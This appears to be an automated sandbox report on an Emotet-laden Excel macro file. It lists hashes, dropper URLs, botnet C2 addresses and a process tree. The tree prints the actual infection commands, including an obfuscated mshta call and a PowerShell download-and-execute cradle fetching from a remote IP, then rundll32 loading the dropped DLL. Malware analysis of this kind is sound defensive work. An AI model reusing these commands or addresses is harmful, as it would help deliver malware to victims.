Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    19-01-2022 05:18

General

  • Target

    VO_63292.xlsm

  • Size

    112KB

  • MD5

    057ac3d7afc46c01053528d3e29732bb

  • SHA1

    434ff7170ef46b776dc755a36e730b241c0e9aab

  • SHA256

    9460b2bb8ba2fb292c897532ce1f2671a383bed1194dd3aef7c2027fd427c09f

  • SHA512

    cf6d05c347cc4a8b9317b004720cff9abc31ec9dd690cb4cb676bf9ae79c9b53f275fadea94f8d481be969e6cb2749ce32d0366e0d14e4cc144e2797b9f6aefc

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\VO_63292.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:620
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://92.255.57.195/ru/ru.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1244
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1832
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1356
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1076
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1672
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sswiaeqfvq\wpvgwoqzh.ryk",UuTFDCy
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1012
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sswiaeqfvq\wpvgwoqzh.ryk",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1700

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1012-90-0x00000000002F0000-0x0000000000318000-memory.dmp

    Filesize

    160KB

  • memory/1076-68-0x0000000000210000-0x0000000000238000-memory.dmp

    Filesize

    160KB

  • memory/1620-125-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1620-57-0x0000000076921000-0x0000000076923000-memory.dmp

    Filesize

    8KB

  • memory/1620-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1620-54-0x000000002F121000-0x000000002F124000-memory.dmp

    Filesize

    12KB

  • memory/1620-55-0x0000000071BA1000-0x0000000071BA3000-memory.dmp

    Filesize

    8KB

  • memory/1672-77-0x00000000003A0000-0x00000000003C8000-memory.dmp

    Filesize

    160KB

  • memory/1672-79-0x0000000000870000-0x0000000000898000-memory.dmp

    Filesize

    160KB

  • memory/1672-81-0x00000000024E0000-0x0000000002508000-memory.dmp

    Filesize

    160KB

  • memory/1672-83-0x0000000002540000-0x0000000002568000-memory.dmp

    Filesize

    160KB

  • memory/1672-85-0x00000000026B0000-0x00000000026D8000-memory.dmp

    Filesize

    160KB

  • memory/1672-88-0x00000000028C0000-0x00000000028E8000-memory.dmp

    Filesize

    160KB

  • memory/1672-75-0x00000000002B0000-0x00000000002D8000-memory.dmp

    Filesize

    160KB

  • memory/1700-93-0x0000000000180000-0x00000000001A8000-memory.dmp

    Filesize

    160KB

  • memory/1700-95-0x00000000002A0000-0x00000000002C8000-memory.dmp

    Filesize

    160KB

  • memory/1700-99-0x00000000024A0000-0x00000000024C8000-memory.dmp

    Filesize

    160KB

  • memory/1832-61-0x0000000002370000-0x0000000002FBA000-memory.dmp

    Filesize

    12.3MB

  • memory/1832-60-0x0000000002370000-0x0000000002FBA000-memory.dmp

    Filesize

    12.3MB